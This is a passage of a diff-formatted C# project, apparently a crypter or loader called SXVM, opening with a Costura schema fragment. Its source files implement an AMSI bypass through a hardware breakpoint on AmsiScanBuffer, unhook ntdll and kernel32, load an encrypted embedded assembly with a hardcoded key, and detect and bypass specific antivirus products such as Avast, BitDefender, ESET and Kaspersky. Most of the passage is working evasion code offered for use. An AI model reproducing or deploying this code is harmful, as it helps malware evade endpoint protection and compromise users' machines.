<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -0,0 +1,265 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
internal static class HardwareBreakpointAmsiPatch
|
||||
{
|
||||
private static IntPtr pABuF = IntPtr.Zero;
|
||||
private static IntPtr pCtx = IntPtr.Zero;
|
||||
|
||||
private class HardwareBreakpointAmsiPatchHandlerMethod : Attribute
|
||||
{
|
||||
}
|
||||
|
||||
internal static void Bypass()
|
||||
{
|
||||
pABuF = GetProcAddress(LoadLibrary(@"amsi.dll"), @"AmsiScanBuffer");
|
||||
pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(CONTEXT64)));
|
||||
CONTEXT64 ctx = new CONTEXT64();
|
||||
ctx.ContextFlags = CONTEXT64_FLAGS.CONTEXT64_ALL;
|
||||
MethodInfo method = null;
|
||||
bool method_found = false;
|
||||
foreach (MethodInfo mi in typeof(HardwareBreakpointAmsiPatch).GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance))
|
||||
{
|
||||
foreach (CustomAttributeData customAttribute in mi.CustomAttributes)
|
||||
{
|
||||
if (customAttribute.AttributeType == typeof(HardwareBreakpointAmsiPatchHandlerMethod))
|
||||
{
|
||||
method = mi;
|
||||
method_found = true;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
if (method_found == true)
|
||||
{
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
IntPtr hExHandler = AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
|
||||
Marshal.StructureToPtr(ctx, pCtx, true);
|
||||
bool b = GetThreadContext((IntPtr)(-2), pCtx);
|
||||
ctx = (CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(CONTEXT64));
|
||||
EnableBreakpoint(ctx, pABuF, 0);
|
||||
SetThreadContext((IntPtr)(-2), pCtx);
|
||||
}
|
||||
|
||||
[HardwareBreakpointAmsiPatchHandlerMethod]
|
||||
private static long Handler(IntPtr exceptions)
|
||||
{
|
||||
EXCEPTION_POINTERS ep = new EXCEPTION_POINTERS();
|
||||
ep = (EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(EXCEPTION_POINTERS));
|
||||
EXCEPTION_RECORD ExceptionRecord = new EXCEPTION_RECORD();
|
||||
ExceptionRecord = (EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(EXCEPTION_RECORD));
|
||||
CONTEXT64 ContextRecord = new CONTEXT64();
|
||||
ContextRecord = (CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(CONTEXT64));
|
||||
if (ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF)
|
||||
{
|
||||
ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
|
||||
IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8)));
|
||||
Marshal.WriteInt32(ScanResult, 0, AMSI_RESULT_CLEAN);
|
||||
ContextRecord.Rip = ReturnAddress;
|
||||
ContextRecord.Rsp += 8;
|
||||
ContextRecord.Rax = 0;
|
||||
Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
else
|
||||
{
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
}
|
||||
|
||||
private static void EnableBreakpoint(CONTEXT64 ctx, IntPtr address, int index)
|
||||
{
|
||||
switch (index)
|
||||
{
|
||||
case 0:
|
||||
ctx.Dr0 = (ulong)address.ToInt64();
|
||||
break;
|
||||
case 1:
|
||||
ctx.Dr1 = (ulong)address.ToInt64();
|
||||
break;
|
||||
case 2:
|
||||
ctx.Dr2 = (ulong)address.ToInt64();
|
||||
break;
|
||||
case 3:
|
||||
ctx.Dr3 = (ulong)address.ToInt64();
|
||||
break;
|
||||
}
|
||||
ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
|
||||
ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
|
||||
ctx.Dr6 = 0;
|
||||
Marshal.StructureToPtr(ctx, pCtx, true);
|
||||
}
|
||||
|
||||
private static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
|
||||
{
|
||||
ulong mask = (1UL << bits) - 1UL;
|
||||
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
|
||||
return dw;
|
||||
}
|
||||
|
||||
private const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
|
||||
private const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
|
||||
|
||||
private const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
|
||||
|
||||
private const Int32 AMSI_RESULT_CLEAN = 0;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
|
||||
private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
|
||||
|
||||
[DllImport("Kernel32.dll")]
|
||||
private static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
|
||||
|
||||
[Flags]
|
||||
private enum CONTEXT64_FLAGS : uint
|
||||
{
|
||||
CONTEXT64_AMD64 = 0x100000,
|
||||
CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
|
||||
CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
|
||||
CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
|
||||
CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
|
||||
CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
|
||||
CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
|
||||
CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct M128A
|
||||
{
|
||||
public ulong High;
|
||||
public long Low;
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
||||
private struct XSAVE_FORMAT64
|
||||
{
|
||||
public ushort ControlWord;
|
||||
public ushort StatusWord;
|
||||
public byte TagWord;
|
||||
public byte Reserved1;
|
||||
public ushort ErrorOpcode;
|
||||
public uint ErrorOffset;
|
||||
public ushort ErrorSelector;
|
||||
public ushort Reserved2;
|
||||
public uint DataOffset;
|
||||
public ushort DataSelector;
|
||||
public ushort Reserved3;
|
||||
public uint MxCsr;
|
||||
public uint MxCsr_Mask;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public M128A[] FloatRegisters;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
||||
public M128A[] XmmRegisters;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
|
||||
public byte[] Reserved4;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
||||
private struct CONTEXT64
|
||||
{
|
||||
public ulong P1Home;
|
||||
public ulong P2Home;
|
||||
public ulong P3Home;
|
||||
public ulong P4Home;
|
||||
public ulong P5Home;
|
||||
public ulong P6Home;
|
||||
|
||||
public CONTEXT64_FLAGS ContextFlags;
|
||||
public uint MxCsr;
|
||||
|
||||
public ushort SegCs;
|
||||
public ushort SegDs;
|
||||
public ushort SegEs;
|
||||
public ushort SegFs;
|
||||
public ushort SegGs;
|
||||
public ushort SegSs;
|
||||
public uint EFlags;
|
||||
|
||||
public ulong Dr0;
|
||||
public ulong Dr1;
|
||||
public ulong Dr2;
|
||||
public ulong Dr3;
|
||||
public ulong Dr6;
|
||||
public ulong Dr7;
|
||||
|
||||
public ulong Rax;
|
||||
public ulong Rcx;
|
||||
public ulong Rdx;
|
||||
public ulong Rbx;
|
||||
public ulong Rsp;
|
||||
public ulong Rbp;
|
||||
public ulong Rsi;
|
||||
public ulong Rdi;
|
||||
public ulong R8;
|
||||
public ulong R9;
|
||||
public ulong R10;
|
||||
public ulong R11;
|
||||
public ulong R12;
|
||||
public ulong R13;
|
||||
public ulong R14;
|
||||
public ulong R15;
|
||||
public ulong Rip;
|
||||
|
||||
public XSAVE_FORMAT64 DUMMYUNIONNAME;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
|
||||
public M128A[] VectorRegister;
|
||||
public ulong VectorControl;
|
||||
|
||||
public ulong DebugControl;
|
||||
public ulong LastBranchToRip;
|
||||
public ulong LastBranchFromRip;
|
||||
public ulong LastExceptionToRip;
|
||||
public ulong LastExceptionFromRip;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct EXCEPTION_RECORD
|
||||
{
|
||||
public uint ExceptionCode;
|
||||
public uint ExceptionFlags;
|
||||
public IntPtr ExceptionRecord;
|
||||
public IntPtr ExceptionAddress;
|
||||
public uint NumberParameters;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct EXCEPTION_POINTERS
|
||||
{
|
||||
public IntPtr pExceptionRecord;
|
||||
public IntPtr pContextRecord;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
internal static class HarmonyPatcher
|
||||
{
|
||||
private static string _0HarmonyDecryptionKey = @"XTRxaVOMjfXTRxaVOMjfIdEnBLTPVpUxVGBXxhvlxrwdxlTqkattOXmfDqzHIdEnBLTPVpUxVGBXxhvlxrwdxlTqkattOXmfDqzH";
|
||||
|
||||
private static void ClearHarmonyDecryptionKeyFromMemory()
|
||||
{
|
||||
_0HarmonyDecryptionKey = @"";
|
||||
_0HarmonyDecryptionKey = null;
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
internal struct TypeInfo
|
||||
{
|
||||
internal Type InternalMethodType { get; set; }
|
||||
|
||||
internal string InternalMethodName { get; set; }
|
||||
|
||||
internal Type[] InternalTypeParameters { get; set; }
|
||||
|
||||
internal TypeInfo(Type MethodType, string MethodName, Type[] TypeParameters)
|
||||
{
|
||||
InternalMethodType = MethodType;
|
||||
InternalMethodName = MethodName;
|
||||
InternalTypeParameters = TypeParameters;
|
||||
}
|
||||
}
|
||||
|
||||
private static Assembly _0Harmony = null;
|
||||
|
||||
private static string PatchID = @"";
|
||||
|
||||
private static Random random = new Random();
|
||||
|
||||
private static string RandomString(int length)
|
||||
{
|
||||
const string chars = @"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
|
||||
}
|
||||
|
||||
internal static void Initialize()
|
||||
{
|
||||
if (_0Harmony == null)
|
||||
{
|
||||
_0Harmony = Assembly.Load(API.Decompress(API.AESDecrypt(API.ExtractResource(@"SXVM.0Harmony.bin"), _0HarmonyDecryptionKey)));
|
||||
}
|
||||
if (PatchID == @"")
|
||||
{
|
||||
PatchID = RandomString(10);
|
||||
}
|
||||
if (_0HarmonyDecryptionKey != null)
|
||||
{
|
||||
ClearHarmonyDecryptionKeyFromMemory();
|
||||
}
|
||||
}
|
||||
|
||||
internal static void Patch(TypeInfo originalMethod, Type prefixMethod = null, Type postfixMethod = null)
|
||||
{
|
||||
if (originalMethod.InternalMethodType != null & originalMethod.InternalMethodName != null & originalMethod.InternalTypeParameters != null)
|
||||
{
|
||||
if (prefixMethod == null & postfixMethod == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Initialize();
|
||||
Type harmonyType = _0Harmony.GetType(@"HarmonyLib.Harmony");
|
||||
object harmonyInstance = Activator.CreateInstance(harmonyType, PatchID);
|
||||
MethodInfo patchMethod = harmonyType.GetMethod(@"Patch");
|
||||
Type accessToolsType = _0Harmony.GetType(@"HarmonyLib.AccessTools");
|
||||
MethodInfo methodMethod = accessToolsType.GetMethod(@"Method", new Type[] { typeof(Type), typeof(string), typeof(Type[]), typeof(Type[]) });
|
||||
MethodInfo internalOriginalMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { originalMethod.InternalMethodType, originalMethod.InternalMethodName, originalMethod.InternalTypeParameters, null });
|
||||
MethodInfo internalPrefixMethod = null;
|
||||
MethodInfo internalPostfixMethod = null;
|
||||
if (prefixMethod != null)
|
||||
{
|
||||
internalPrefixMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { prefixMethod, @"Prefix", null, null });
|
||||
}
|
||||
if (postfixMethod != null)
|
||||
{
|
||||
internalPostfixMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { postfixMethod, @"Postfix", null, null });
|
||||
}
|
||||
Type harmonyMethodType = _0Harmony.GetType(@"HarmonyLib.HarmonyMethod");
|
||||
if (prefixMethod != null & postfixMethod != null)
|
||||
{
|
||||
object harmonyMethodInstance = Activator.CreateInstance(harmonyMethodType, internalPrefixMethod);
|
||||
object harmonyMethodInstance2 = Activator.CreateInstance(harmonyMethodType, internalPostfixMethod);
|
||||
patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, harmonyMethodInstance, harmonyMethodInstance2, null, null });
|
||||
}
|
||||
else
|
||||
{
|
||||
if (prefixMethod != null)
|
||||
{
|
||||
object harmonyMethodInstance = Activator.CreateInstance(harmonyMethodType, internalPrefixMethod);
|
||||
patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, harmonyMethodInstance, null, null, null });
|
||||
}
|
||||
else
|
||||
{
|
||||
object harmonyMethodInstance2 = Activator.CreateInstance(harmonyMethodType, internalPostfixMethod);
|
||||
patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, null, harmonyMethodInstance2, null, null });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SXVM.Hooks
|
||||
{
|
||||
internal static class EnvironmentExit
|
||||
{
|
||||
internal static void Hook(string[] args)
|
||||
{
|
||||
HarmonyPatcher.Patch(new HarmonyPatcher.TypeInfo(typeof(Environment), @"Exit", new Type[] { typeof(int) }), typeof(HookedEnvironment.Exit), null);
|
||||
}
|
||||
|
||||
private static class HookedEnvironment
|
||||
{
|
||||
internal static class Exit
|
||||
{
|
||||
internal static bool Prefix(ref int exitCode)
|
||||
{
|
||||
Process.GetCurrentProcess().Kill();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using static SXVM.API;
|
||||
|
||||
namespace SXVM.Hooks
|
||||
{
|
||||
internal static class GetRawBytes
|
||||
{
|
||||
internal static unsafe void Hook(string[] args)
|
||||
{
|
||||
byte[] patch = { 0xC3 };
|
||||
IntPtr GetRawBytesAddress = GetManagedFunctionPointer(Assembly.GetExecutingAssembly().GetType().GetMethod(@"GetRawBytes", BindingFlags.Instance | BindingFlags.NonPublic).MethodHandle.Value.ToPointer());
|
||||
WriteMemoryBlock(GetRawBytesAddress, patch, (uint)patch.Length);
|
||||
patch = null;
|
||||
GC.Collect();
|
||||
}
|
||||
}
|
||||
}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO.Compression;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection.Emit;
|
||||
using System.Reflection;
|
||||
using System.Runtime.ExceptionServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using static SXVM.API;
|
||||
using static SXVM.Settings;
|
||||
using SXVM.Bypasses;
|
||||
using SXVM.Hooks;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
//[INFO] - Compile as Debug - x64.
|
||||
internal static class Program
|
||||
{
|
||||
private static ushort ExcludedHeader = 0x4F8F;
|
||||
|
||||
/// <summary>
|
||||
/// The main entry point for the application.
|
||||
/// </summary>
|
||||
[STAThread]
|
||||
static void Main(string[] args)
|
||||
{
|
||||
ushort oldHeader = 0;
|
||||
WriteCustomHeader(ExcludedHeader, out oldHeader);
|
||||
|
||||
Unhooker.Unhook(@"ntdll.dll");
|
||||
Unhooker.Unhook(@"kernel32.dll");
|
||||
|
||||
PrepareHandlers(args);
|
||||
|
||||
string AntiVirus = @"";
|
||||
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||
{
|
||||
if (module.ModuleName == @"aswAMSI.dll" || module.ModuleName == @"aswhook.dll")
|
||||
{
|
||||
AntiVirus = @"Avast";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"atcuf64.dll" || module.ModuleName == @"bdhkm64.dll")
|
||||
{
|
||||
AntiVirus = @"BitDefender";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"fsamsi64.dll" || module.ModuleName == @"fshook64.dll" || module.ModuleName == @"fs_ccf_ipc_64.dll")
|
||||
{
|
||||
AntiVirus = @"F-Secure";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"hmpalert.dll" || module.ModuleName == @"SophosAmsiProvider.dll")
|
||||
{
|
||||
AntiVirus = @"Sophos";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"eamsi.dll")
|
||||
{
|
||||
AntiVirus = @"ESET";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"com_antivirus.dll")
|
||||
{
|
||||
AntiVirus = @"Kaspersky";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"symamsi.dll")
|
||||
{
|
||||
AntiVirus = @"Norton";
|
||||
break;
|
||||
}
|
||||
else if (module.ModuleName == @"mbae64.dll")
|
||||
{
|
||||
AntiVirus = @"Malwarebytes";
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
switch (AntiVirus)
|
||||
{
|
||||
case @"Avast":
|
||||
Avast.Bypass(args);
|
||||
break;
|
||||
case @"BitDefender":
|
||||
BitDefender.Bypass(args);
|
||||
break;
|
||||
case @"F-Secure":
|
||||
Default.Bypass(args);
|
||||
break;
|
||||
case @"Sophos":
|
||||
Default.Bypass(args);
|
||||
break;
|
||||
case @"ESET":
|
||||
ESET.Bypass(args);
|
||||
break;
|
||||
case @"Kaspersky":
|
||||
Kaspersky.Bypass(args);
|
||||
break;
|
||||
case @"Norton":
|
||||
Default.Bypass(args);
|
||||
break;
|
||||
case @"Malwarebytes":
|
||||
Default.Bypass(args);
|
||||
break;
|
||||
default:
|
||||
Default.Bypass(args);
|
||||
break;
|
||||
}
|
||||
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
|
||||
private static void PrepareHandlers(string[] args)
|
||||
{
|
||||
RegisterHandler(@"BypassDisabled", (HandlerArgs) =>
|
||||
{
|
||||
throw new AccessViolationException();
|
||||
return null;
|
||||
});
|
||||
}
|
||||
|
||||
internal static void AttachHooks(string[] args)
|
||||
{
|
||||
GetRawBytes.Hook(args);
|
||||
|
||||
EnvironmentExit.Hook(args);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("SXVM")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("SXVM")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("e1902815-b6df-4bc8-94a6-c61a382fe83d")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
Generated
+71
@@ -0,0 +1,71 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.42000
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace SXVM.Properties
|
||||
{
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// A strongly-typed resource class, for looking up localized strings, etc.
|
||||
/// </summary>
|
||||
// This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
// class via a tool like ResGen or Visual Studio.
|
||||
// To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
// with the /str option, or rebuild your VS project.
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources
|
||||
{
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the cached ResourceManager instance used by this class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if ((resourceMan == null))
|
||||
{
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SXVM.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Overrides the current thread's CurrentUICulture property for all
|
||||
/// resource lookups using this strongly typed resource class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture
|
||||
{
|
||||
get
|
||||
{
|
||||
return resourceCulture;
|
||||
}
|
||||
set
|
||||
{
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
